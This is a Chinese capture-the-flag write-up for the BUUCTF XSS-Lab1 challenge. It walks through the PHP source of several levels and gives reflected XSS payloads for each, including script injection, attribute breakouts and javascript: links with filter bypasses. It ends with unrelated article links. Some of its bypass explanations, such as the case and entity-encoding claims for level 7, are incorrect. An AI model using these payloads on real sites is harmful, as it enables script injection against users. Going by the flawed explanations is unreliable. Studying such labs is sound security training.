3.【BUUCTF】XSS-Lab1

embedded/2025/2/6 7:02:30/

进入题目页面如下

好好好,提示点击图片,点进去页面如下,且url中有传参,有注入点

发现题目给出了源码

查看得到本题的源码

分析一下代码

<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析页面 -->
<html>
<head><!-- 设置页面字符编码为 UTF-8,确保能正确显示各种语言字符 --><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>// 重写 window.alert 函数window.alert = function() {// 弹出确认框,显示消息“完成的不错!”confirm("完成的不错!");// 将浏览器当前页面重定向到 level2.php 页面,并传递 keyword 参数,值为 testwindow.location.href="level2.php?keyword=test"; }</script><!-- 设置页面标题,显示在浏览器标签栏 --><title>欢迎来到level1</title>
</head>
<body><!-- 定义一级标题,内容居中显示(注:align 属性不推荐使用,建议用 CSS 替代) --><h1 align="center">欢迎来到level1</h1><?php // 设置 PHP 不显示错误信息,避免暴露敏感错误细节ini_set("display_errors", 0);// 从 URL 的 GET 参数中获取名为 name 的值,并赋值给变量 $str$str = $_GET["name"];// 输出二级标题,显示欢迎用户信息,标题内容包含从 GET 参数获取的 name 值,内容居中显示echo "<h2 align=\"center\">欢迎用户".$str."</h2>";?><center><img src="level1.png"></center><?php // 输出三级标题,显示从 GET 参数获取的 name 值的长度,内容居中显示echo "<h3 align=\"center\">payload的长度:".strlen($str)."</h3>";?>
</body>
</html>

这段代码存在反射型 XSS 漏洞,原因在于直接将用户通过 GET 请求传入的 name 参数值 $str 输出到 HTML 页面中,且未对该参数进行任何的过滤和转义处理。

可以构造包含恶意脚本的 URL,

http://1a8841d3-460e-4819-b0fa-52b329c644de.node5.buuoj.cn:81/level1.php?name=<script>alert('XSS攻击')</script>

当用户访问这个 URL 时,服务器会将恶意脚本作为响应的一部分返回给浏览器,浏览器会执行该脚本,从而导致 XSS 攻击。

进入第二关?level2,

居然不能直接得到flag         qyq

在GitHub继续查看源码,并分析

<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告诉浏览器按照 HTML5 规范来解析此页面 -->
<html>
<head><!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言字符 --><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>// 重写了浏览器原生的 alert 函数window.alert = function() {// 弹出一个确认框,显示提示信息“完成的不错!”confirm("完成的不错!");// 页面跳转到 level3.php 页面,并传递一个名为 writing 的参数,值为 waitwindow.location.href = "level3.php?writing=wait"; }</script><!-- 设置浏览器标签栏显示的页面标题 --><title>欢迎来到level2</title>
</head>
<body><!-- 定义一级标题,将标题内容居中显示(不过 align 属性已不推荐使用,建议用 CSS 替代) --><h1 align="center">欢迎来到level2</h1><?php // 禁止 PHP 显示错误信息,防止错误信息泄露敏感内容ini_set("display_errors", 0);// 从 URL 的 GET 参数中获取名为 keyword 的值,并赋值给变量 $str$str = $_GET["keyword"];// 输出一个二级标题,标题内容显示没有找到和用户输入的 keyword 相关的结果// htmlspecialchars 函数对 $str 进行了 HTML 实体编码,防止部分 XSS 攻击echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";// 输出一个表单,表单提交方式为 GET,提交地址为当前的 level2.php 页面echo '<center>
<form action="level2.php" method="GET"><!-- 文本输入框,用于输入搜索关键词,初始值为用户之前输入的 keyword --><input name="keyword"  value="'.$str.'"><!-- 提交按钮,点击后会将表单数据以 GET 方式提交 --><input type="submit" name="submit" value="搜索"/>
</form>
</center>';?><!-- 显示一张图片,图片文件名为 level2.png,并将图片居中显示(<center> 标签已不推荐使用) --><center><img src="level2.png"></center><?php // 输出一个三级标题,显示用户输入的 keyword 的长度,并将标题内容居中显示echo "<h3 align=\"center\">payload的长度:".strlen($str)."</h3>";?>
</body>
</html>

虽然代码中对 $str 在显示搜索结果时使用 htmlspecialchars 函数进行了 HTML 实体编码,一定程度上防止了部分 XSS 攻击,但在表单输入框的 value 属性中直接使用了未经过充分过滤和转义的 $str,造成xss攻击

可以构造包含特殊字符的恶意 keyword 参数,

/level2.php?keyword="><script>alert('XSS攻击')</script><"

当用户访问这个恶意 URL 时,在生成的 HTML 代码中,输入框的 value 属性就会变成:

<input name="keyword"  value=""><script>alert('XSS攻击')</script><">

浏览器在解析这段 HTML 代码时,会将其中的 <script> 标签内的代码当作 JavaScript 代码执行,从而触发 XSS 攻击,弹出提示框显示 “XSS 攻击”。

进入第三关level3

在GitHub继续查看源码,并分析

<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析此页面 -->
<html>
<head><!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言的字符 --><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>// 重写了浏览器原生的 alert 函数window.alert = function() {// 弹出一个确认框,显示消息“完成的不错!”confirm("完成的不错!");// 将浏览器的当前页面重定向到 level4.php 页面,并传递 keyword 参数,值为 try harder!window.location.href = "level4.php?keyword=try harder!"; }</script><!-- 设置页面在浏览器标签栏显示的标题 --><title>欢迎来到level3</title>
</head>
<body><!-- 定义一级标题,将标题内容居中显示(align 属性不推荐使用,建议用 CSS 实现) --><h1 align="center">欢迎来到level3</h1><?php // 设置 PHP 不显示错误信息,防止敏感错误信息泄露ini_set("display_errors", 0);// 从 URL 的 GET 参数中获取名为 keyword 的值,并赋值给变量 $str$str = $_GET["keyword"];// 输出二级标题,显示没有找到和用户输入的 keyword 相关的结果// 使用 htmlspecialchars 函数对 $str 进行 HTML 实体编码,防止部分 XSS 攻击echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";// 输出一个表单,表单提交方式为 GET,提交地址为当前的 level3.php 页面echo "<center>
<form action=\"level3.php\" method=\"GET\"><!-- 文本输入框,用于输入搜索关键词,初始值为用户之前输入的 keyword 并进行了 HTML 实体编码 --><input name=\"keyword\"  value='".htmlspecialchars($str)."'><!-- 提交按钮,点击后以 GET 方式提交表单数据 --><input type=\"submit\" name=\"submit\" value=\"搜索\" />
</form>
</center>";?><!-- 显示一张图片,图片文件名为 level3.png,并将图片居中显示(<center> 标签已被弃用) --><center><img src="level3.png"></center><?php // 输出三级标题,显示用户输入的 keyword 的长度,并将标题内容居中显示echo "<h3 align=\"center\">payload的长度:".strlen($str)."</h3>";?>
</body>
</html>
1. htmlspecialchars 参数使用问题

htmlspecialchars 函数默认情况下只会对少数几个特殊字符(如 <>& 等)进行编码,如果利用未被编码的特殊字符,还是有可能构造出恶意脚本。例如,如果传入包含 onerror 等事件属性的恶意输入,在某些浏览器环境下可能会触发 XSS 攻击。

可以构造如下恶意的 keyword 参数:

/level3.php?keyword=' onclick='alert(1)

虽然 htmlspecialchars 会对部分字符进行编码,但如果没有正确设置其参数(如未指定 ENT_QUOTES 来同时编码单引号和双引号),可能无法完全阻止恶意脚本的执行。

2. 上下文处理不当

即使进行了 HTML 实体编码,在不同的 HTML 上下文环境中,编码后的内容可能会被错误解析。例如,在 JavaScript 代码块或者 CSS 样式属性中,如果直接使用经过 htmlspecialchars 编码的内容,可能会导致编码失效,从而引发 XSS 漏洞。

3. 绕过机制

可能会利用浏览器的特性或者 HTML 规范的一些边缘情况来绕过 htmlspecialchars 的防护。例如,利用 HTML 注释、字符编码转换等方式来隐藏恶意脚本,当浏览器解析页面时,这些隐藏的脚本可能会被执行。

注意这里需要点击一下输入框

进入下一关level4

<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析此页面 -->
<html>
<head><!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言的字符 --><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>// 重写浏览器原生的 alert 函数window.alert = function() {// 弹出一个确认框,显示消息“完成的不错!”confirm("完成的不错!");// 将浏览器的当前页面重定向到 level5.php 页面,并传递 keyword 参数,值为 find a way out!window.location.href = "level5.php?keyword=find a way out!"; }</script><!-- 设置页面在浏览器标签栏显示的标题 --><title>欢迎来到level4</title>
</head>
<body><!-- 定义一级标题,将标题内容居中显示(align 属性不推荐使用,建议用 CSS 实现) --><h1 align="center">欢迎来到level4</h1><?php // 设置 PHP 不显示错误信息,防止敏感错误信息泄露ini_set("display_errors", 0);// 从 URL 的 GET 参数中获取名为 keyword 的值,并赋值给变量 $str$str = $_GET["keyword"];// 把 $str 中的大于号(>)替换为空字符串,结果存储在 $str2 中$str2 = str_replace(">", "", $str);// 把 $str2 中的小于号(<)替换为空字符串,结果存储在 $str3 中$str3 = str_replace("<", "", $str2);// 输出二级标题,显示没有找到和用户输入的 keyword 相关的结果// 使用 htmlspecialchars 函数对 $str 进行 HTML 实体编码,防止部分 XSS 攻击echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";// 输出一个表单,表单提交方式为 GET,提交地址为当前的 level4.php 页面echo '<center>
<form action="level4.php" method="GET"><!-- 文本输入框,用于输入搜索关键词,初始值为处理后的 $str3 --><input name="keyword"  value="'.$str3.'"><!-- 提交按钮,点击后以 GET 方式提交表单数据 --><input type="submit" name="submit" value="搜索" />
</form>
</center>';?><!-- 显示一张图片,图片文件名为 level4.png,并将图片居中显示(<center> 标签已被弃用) --><center><img src="level4.png"></center><?php // 输出三级标题,显示处理后 $str3 的长度,并将标题内容居中显示echo "<h3 align=\"center\">payload的长度:".strlen($str3)."</h3>";?>
</body>
</html>
1. 过滤不彻底

代码仅简单地将输入中的小于号(<)和大于号(>)替换为空字符串,然而 XSS 攻击的方式多样,攻击者可以利用其他字符或 HTML 属性来构造恶意脚本。例如,攻击者可以使用单引号(')、双引号(")来破坏 HTML 标签的属性值,进而注入恶意脚本。

可以构造如下恶意的 keyword 参数:

/level4.php?keyword=" onfocus=alert('XSS') autofocus="

经过 str_replace 处理后,由于没有过滤引号等字符,在生成的 HTML 代码中,输入框的 value 属性会变成:

<input name="keyword"  value=" onfocus=alert('XSS') autofocus=">

当输入框获得焦点时,就会触发 alert('XSS') 脚本,从而实现 XSS 攻击。

成功进入第五关level5

<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析页面 -->
<html>
<head><!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言的字符 --><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>// 重写浏览器原生的 alert 函数window.alert = function() {// 弹出确认框,显示提示信息“完成的不错!”confirm("完成的不错!");// 将页面重定向到 level6.php 并传递 keyword 参数,值为 break it out!window.location.href = "level6.php?keyword=break it out!";}</script><!-- 设置浏览器标签栏显示的页面标题 --><title>欢迎来到level5</title>
</head>
<body><!-- 定义一级标题,内容居中显示(align 属性不推荐使用,建议用 CSS 替代) --><h1 align="center">欢迎来到level5</h1><?php// 禁止 PHP 显示错误信息,防止敏感信息泄露ini_set("display_errors", 0);// 从 URL 的 GET 参数中获取 keyword 的值,并将其转换为小写,存储在 $str 中$str = strtolower($_GET["keyword"]);// 将 $str 中的 <script 替换为 <scr_ipt,存储在 $str2 中,尝试阻止 <script> 标签的使用$str2 = str_replace("<script", "<scr_ipt", $str);// 将 $str2 中的 on 替换为 o_n,存储在 $str3 中,尝试阻止 HTML 事件属性(如 onclick、onload 等)的使用$str3 = str_replace("on", "o_n", $str2);// 输出二级标题,显示没有找到和用户输入的 keyword 相关的结果// 使用 htmlspecialchars 对 $str 进行 HTML 实体编码,防止部分 XSS 攻击echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";// 输出一个表单,提交方式为 GET,提交地址为当前的 level5.php 页面echo '<center>
<form action="level5.php" method="GET"><!-- 文本输入框,用于输入搜索关键词,初始值为处理后的 $str3 --><input name="keyword"  value="'.$str3.'"><!-- 提交按钮,点击后提交表单 --><input type="submit" name="submit" value="搜索" />
</form>
</center>';?><!-- 显示一张图片,图片文件名为 level5.png,并将图片居中显示(<center> 标签已被弃用) --><center><img src="level5.png"></center><?php// 输出三级标题,显示处理后 $str3 的长度,并将标题内容居中显示echo "<h3 align=\"center\">payload的长度:".strlen($str3)."</h3>";?>
</body>
</html>
1. 过滤不全面

绕过替换规则:虽然代码尝试替换 <script 和 on,但攻击者可以采用其他方式构造恶意脚本。例如,攻击者可以使用大写字母、HTML 实体编码或者其他字符组合来绕过这种简单的替换。如输入 <SCRIPT>,由于代码先将输入转换为小写,所以可以绕过对 <script 的替换;对于 on 的替换,可以使用 ON 或者 oN 等不同大小写组合。

其他危险标签和属性:除了 <script> 标签和 on 开头的事件属性外,还有很多其他方式可以执行 JavaScript 代码。例如,<img> 标签的 src 属性可以使用 javascript: 伪协议,<a> 标签的 href 属性也可以使用该伪协议来执行脚本。代码没有对这些情况进行处理。

2. 输出上下文处理不一致

在显示搜索结果时使用 htmlspecialchars 对 $str 进行了 HTML 实体编码,而表单输入框的 value 属性使用的是经过 str_replace 处理后的 $str3。这种处理方式的不一致可能导致安全漏洞。如果输入的内容经过 str_replace 处理后仍然可以在输入框的 value 属性上下文中执行脚本,就会引发 XSS 攻击。

payload:

/level5.php?keyword="><a href=javascript:alert(1)>

点击">成功进入下一个

level6

<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析此页面 -->
<html>
<head><!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言的字符 --><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>// 重写浏览器的原生 alert 函数window.alert = function() {// 弹出一个确认框,显示消息“完成的不错!”confirm("完成的不错!");// 将浏览器的当前页面重定向到 level7.php 页面,并传递 keyword 参数,值为 move up!window.location.href = "level7.php?keyword=move up!";}</script><!-- 设置页面在浏览器标签栏显示的标题 --><title>欢迎来到level6</title>
</head>
<body><!-- 定义一级标题,将标题内容居中显示(align 属性不推荐使用,建议用 CSS 实现) --><h1 align="center">欢迎来到level6</h1><?php// 设置 PHP 不显示错误信息,防止敏感错误信息泄露ini_set("display_errors", 0);// 从 URL 的 GET 参数中获取名为 keyword 的值,并赋值给变量 $str$str = $_GET["keyword"];// 把 $str 中的 <script 替换为 <scr_ipt,存储在 $str2 中,尝试阻止 <script> 标签注入$str2 = str_replace("<script", "<scr_ipt", $str);// 把 $str2 中的 on 替换为 o_n,存储在 $str3 中,尝试阻止 HTML 事件属性注入$str3 = str_replace("on", "o_n", $str2);// 把 $str3 中的 src 替换为 sr_c,存储在 $str4 中,尝试阻止通过 src 属性注入恶意资源$str4 = str_replace("src", "sr_c", $str3);// 把 $str4 中的 data 替换为 da_ta,存储在 $str5 中,data 属性常用于嵌入资源,防止其被恶意利用$str5 = str_replace("data", "da_ta", $str4);// 把 $str5 中的 href 替换为 hr_ef,存储在 $str6 中,防止通过 href 属性注入恶意链接$str6 = str_replace("href", "hr_ef", $str5);// 输出二级标题,显示没有找到和用户输入的 keyword 相关的结果// 使用 htmlspecialchars 函数对 $str 进行 HTML 实体编码,防止部分 XSS 攻击echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";// 输出一个表单,表单提交方式为 GET,提交地址为当前的 level6.php 页面echo '<center>
<form action="level6.php" method="GET"><!-- 文本输入框,用于输入搜索关键词,初始值为处理后的 $str6 --><input name="keyword"  value="'.$str6.'"><!-- 提交按钮,点击后以 GET 方式提交表单数据 --><input type="submit" name="submit" value="搜索" />
</form>
</center>';?><!-- 显示一张图片,图片文件名为 level6.png,并将图片居中显示(<center> 标签已被弃用) --><center><img src="level6.png"></center><?php// 输出三级标题,显示处理后 $str6 的长度,并将标题内容居中显示echo "<h3 align=\"center\">payload的长度:".strlen($str6)."</h3>";?>
</body>
</html>
代码采用的是黑名单过滤机制,即通过替换一系列被认为危险的字符串来防止 XSS 攻击。然而,黑名单无法覆盖所有可能的攻击向量,可以利用未被列入黑名单的字符组合或方法来构造恶意脚本。

大小写绕过:代码只是简单地替换特定的小写字符串,攻击者可以使用大写、大小写混合的方式绕过过滤。例如,使用 <SCRIPT>ONCLICK 等。

HTML 实体编码绕过:攻击者可以使用 HTML 实体编码来表示危险字符,如 &lt;script&gt; ,代码没有对 HTML 实体进行处理,会导致过滤失效。

字符拼接和变形:攻击者可以通过插入无关字符或对危险字符串进行变形来绕过过滤。比如,在 src 中间插入空格或其他字符,像 s r c 。

在显示搜索结果时使用 htmlspecialchars 对 $str 进行编码,而在表单输入框的 value 属性中使用经过多次替换处理后的 $str6。这种不同的处理方式可能导致安全漏洞,因为 str_replace 处理可能无法应对复杂的攻击场景,而 htmlspecialchars 的编码范围可能和 str_replace 处理不匹配。

除了代码中替换的 <script>onsrcdatahref 之外,HTML 中还有许多其他属性和标签可以被用于 XSS 攻击,如 style 属性可以通过 expression() (IE 浏览器)或 javascript: 伪协议执行脚本,object 标签也可以加载恶意资源等。代码没有对这些情况进行处理。

payload:

/level6.php?keyword="><a HrEf=javascript:alert(1)>

进入下一关

level7

<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析此页面 -->
<html>
<head><!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言的字符 --><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>// 重写浏览器原生的 alert 函数window.alert = function() {// 弹出一个确认框,显示消息“完成的不错!”confirm("完成的不错!");// 将浏览器的当前页面重定向到 level8.php 页面,并传递 keyword 参数,值为 nice try!window.location.href = "level8.php?keyword=nice try!";}</script><!-- 设置页面在浏览器标签栏显示的标题 --><title>欢迎来到level7</title>
</head>
<body><!-- 定义一级标题,将标题内容居中显示(align 属性不推荐使用,建议用 CSS 实现) --><h1 align="center">欢迎来到level7</h1><?php// 设置 PHP 不显示错误信息,防止敏感错误信息泄露ini_set("display_errors", 0);// 从 URL 的 GET 参数中获取名为 keyword 的值,并将其转换为小写,赋值给变量 $str$str = strtolower($_GET["keyword"]);// 把 $str 中的 "script" 替换为空字符串,存储在 $str2 中,尝试阻止 <script> 标签注入$str2 = str_replace("script", "", $str);// 把 $str2 中的 "on" 替换为空字符串,存储在 $str3 中,尝试阻止 HTML 事件属性注入$str3 = str_replace("on", "", $str2);// 把 $str3 中的 "src" 替换为空字符串,存储在 $str4 中,尝试阻止通过 src 属性注入恶意资源$str4 = str_replace("src", "", $str3);// 把 $str4 中的 "data" 替换为空字符串,存储在 $str5 中,防止 data 属性被恶意利用$str5 = str_replace("data", "", $str4);// 把 $str5 中的 "href" 替换为空字符串,存储在 $str6 中,防止通过 href 属性注入恶意链接$str6 = str_replace("href", "", $str5);// 输出二级标题,显示没有找到和用户输入的 keyword 相关的结果// 使用 htmlspecialchars 函数对 $str 进行 HTML 实体编码,防止部分 XSS 攻击echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";// 输出一个表单,表单提交方式为 GET,提交地址为当前的 level7.php 页面echo '<center>
<form action="level7.php" method="GET"><!-- 文本输入框,用于输入搜索关键词,初始值为处理后的 $str6 --><input name="keyword"  value="'.$str6.'"><!-- 提交按钮,点击后以 GET 方式提交表单数据 --><input type="submit" name="submit" value="搜索" />
</form>
</center>';?><!-- 显示一张图片,图片文件名为 level7.png,并将图片居中显示(<center> 标签已被弃用) --><center><img src="level7.png"></center><?php// 输出三级标题,显示处理后 $str6 的长度,并将标题内容居中显示echo "<h3 align=\"center\">payload的长度:".strlen($str6)."</h3>";?>
</body>
</html>
大小写绕过:代码先将输入转换为小写再进行替换,攻击者可以使用大写或大小写混合的方式绕过过滤。例如,使用 <SCRIPT> 或 <ScRiPt> 等。

HTML 实体编码绕过:攻击者可以使用 HTML 实体编码来表示危险字符或字符串,如 &lt;script&gt; 不会被当作 script 进行替换。

字符拼接和变形:攻击者可以通过插入无关字符或对危险字符串进行变形来绕过过滤。比如,在 script 中间插入空格或其他字符,像 s c r i p t 。

未覆盖所有危险属性和标签:除了代码中替换的 scriptonsrcdatahref 之外,HTML 中还有许多其他属性和标签可以被用于 XSS 攻击,如 style 属性可以通过 expression()(IE 浏览器)或 javascript: 伪协议执行脚本,object 标签也可以加载恶意资源等。

构造的 Payload

1. 利用大小写绕过
/level7.php?keyword="><scrscriptipt>alert(1)</scrscriptipt>

由于代码将输入转换为小写后才进行替换,所以大写的 <SCRIPT> 不会被替换,可能会触发 XSS 攻击。

2. 利用 HTML 实体编码绕过
/level7.php?keyword=&lt;script&gt;alert('XSS')&lt;/script&gt;

&lt; 和 &gt; 分别是 < 和 > 的 HTML 实体编码,&lt;script&gt; 不会被当作 script 进行替换,当浏览器解析页面时会将实体编码转换回对应的字符,从而执行恶意脚本。

3. 利用字符拼接绕过
/level7.php?keyword=<s c r i p t>alert('XSS')</s c r i p t>

在 script 中间插入空格,使得代码的替换操作无法生效,进而可能触发 XSS 攻击。

4. 利用未过滤的属性
/level7.php?keyword=<img style="background-image:url(javascript:alert('XSS'))">

代码没有对 style 属性进行过滤,攻击者可以通过 style 属性中的 javascript: 伪协议执行脚本,从而实现 XSS 攻击。

进入第八关qyq什么时候才能做完这道题

居然有友情链接,高低点进去看看

20try?这里查看了源码最多达到level20,qyq

难道真的要一道一道做?重新观察了一下url,难道数字可以改?直接跳转到20关?

快来试试

可以的,虽然没有加载出图片但是可以直接做20题

查看源码

<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析该页面 -->
<html>
<head><!-- 设置页面的字符编码为 UTF - 8,确保页面能正确显示各种语言字符 --><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>// 重写浏览器的 alert 函数window.alert = function() {// 弹出确认框,显示提示信息“完成的不错!”confirm("完成的不错!");// 页面重定向到 level21.php ,并传递两个参数 arg01 和 arg02window.location.href = "level21.php?arg01=a&arg02=b";}</script><!-- 设置浏览器标签栏显示的页面标题 --><title>欢迎来到level20</title>
</head>
<body><!-- 定义一级标题,将标题内容居中显示(注:align 属性已不推荐使用,建议用 CSS 替代) --><h1 align="center">欢迎来到level20</h1><?php// 禁止 PHP 显示错误信息,防止敏感信息泄露ini_set("display_errors", 0);// 输出一个 embed 标签用于嵌入 Flash 文件(xsf04.swf)// 从 URL 的 GET 参数中获取 arg01 和 arg02 的值// 使用 htmlspecialchars 函数对 arg01 和 arg02 的值进行 HTML 实体编码,防止部分 XSS 攻击// 将编码后的值拼接成 Flash 文件的参数,格式为 arg01=arg02echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';?>
</body>
</html>
Flash 文件的安全风险

Flash 自身漏洞:Flash 文件(xsf04.swf)可能存在安全漏洞。如果该 Flash 文件在处理传入的参数(arg01 和 arg02)时没有进行严格的输入验证和过滤,攻击者可以通过构造恶意参数来触发 Flash 文件内部的漏洞,从而执行恶意脚本。

跨站脚本交互:即使对传入的参数进行了 HTML 实体编码,但 Flash 文件可能会将这些编码后的参数解码并使用。如果 Flash 文件在解码后没有再次进行安全检查,攻击者就可以通过构造特殊的参数来实现跨站脚本攻击。

参数拼接和 URL 构造问题

URL 解析差异:虽然对 arg01 和 arg02 进行了 HTML 实体编码,但在将它们拼接到 Flash 文件的 URL 中时,可能会因为不同浏览器或 Flash 播放器对 URL 的解析方式不同而导致编码失效。例如,某些浏览器可能会在特定情况下对 URL 进行解码,使得恶意脚本有机会被执行。

参数注入:攻击者可以通过构造特殊的参数值,利用 URL 中的参数分隔符(如 &? 等)来注入额外的参数或修改原有的参数,从而改变 Flash 文件的行为。

用burp suite抓包,终于得到了flag,qyq


http://www.ppmy.cn/embedded/159959.html

相关文章

基于 docker 的mysql 5.7 主主集群搭建

创建挂载目录和配置文件 主节点1 mkdir -p /mysql_master_1/mysql/log mkdir -p /mysql_master_1/mysql/data mkdir -p /mysql_master_1/mysql/conf vim /mysql_master_1/mysql/conf/my.cnf[mysqld] datadir/var/lib/mysql #MySQL 数据库文件存放路径 server_id 1 #指定数据…

React组件中的列表渲染与分隔符处理技巧

React组件中的列表渲染与分隔符处理技巧 摘要问题背景解决方案分析方案一&#xff1a;数组拼接法方案二&#xff1a;Fragment组件方案三&#xff1a;动态生成key 关键技术点1. key的使用原则2. Fragment组件3. 性能优化 实战演练挑战1&#xff1a;动态分隔符样式挑战2&#xff…

SQL中的三值逻辑和NULL

在SQL中&#xff0c;三值逻辑是一个重要概念&#xff0c;它的存在主要是由于 NULL 值的引入。NULL 代表未知值&#xff0c;它既不是空字符串&#xff0c;也不是数字 0&#xff0c;而是一个特殊的标记&#xff0c;表示数据缺失或不可用。 目录 SQL的三值逻辑 NULL的特性 NULL…

【单层神经网络】softmax回归的从零开始实现(图像分类)

softmax回归 该回归分析为后续的多层感知机做铺垫 基本概念 softmax回归用于离散模型预测&#xff08;分类问题&#xff0c;含标签&#xff09; softmax运算本质上是对网络的多个输出进行了归一化&#xff0c;使结果有一个统一的判断标准&#xff0c;不必纠结为什么要这么算…

Java NIO详解

一、NIO简介 NIO 中的 N 可以理解为 Non-blocking&#xff0c;不单纯是 New&#xff0c;是解决高并发、I/O高性能的有效方式。 Java NIO 是Java1.4之后推出来的一套IO接口&#xff0c;NIO提供了一种完全不同的操作方式&#xff0c; NIO支持面向缓冲区的、基于通道的IO操作。 …

unity学习26:用Input接口去监测: 鼠标,键盘,虚拟轴,虚拟按键

目录 1 用Input接口去监测&#xff1a;鼠标&#xff0c;键盘&#xff0c;虚拟轴&#xff0c;虚拟按键 2 鼠标 MouseButton 事件 2.1 鼠标的基本操作 2.2 测试代码 2.3 测试情况 3 键盘Key事件 3.1 键盘的枚举方式 3.2 测试代码同上 3.3 测试代码同上 3.4 测试结果 4…

第 1 天:UE5 C++ 开发环境搭建,全流程指南

&#x1f3af; 目标&#xff1a;搭建 Unreal Engine 5&#xff08;UE5&#xff09;C 开发环境&#xff0c;配置 Visual Studio 并成功运行 C 代码&#xff01; 1️⃣ Unreal Engine 5 安装 &#x1f539; 下载与安装 Unreal Engine 5 步骤&#xff1a; 注册并安装 Epic Game…

修复使用unplugin-auto-import和unplugin-vue-components后tsc-vue报错的问题

在使用NaiveUI的过程中&#xff0c;引入了unplugin-auto-import和unplugin-vue-components。 这两个组件能自动引入vue方法和vue组件&#xff0c;提升了开发者体验。 但是在vscode中&#xff0c;源码里未手动引用而直接用的方法和组件还是被标红&#xff0c;提示找不到&#x…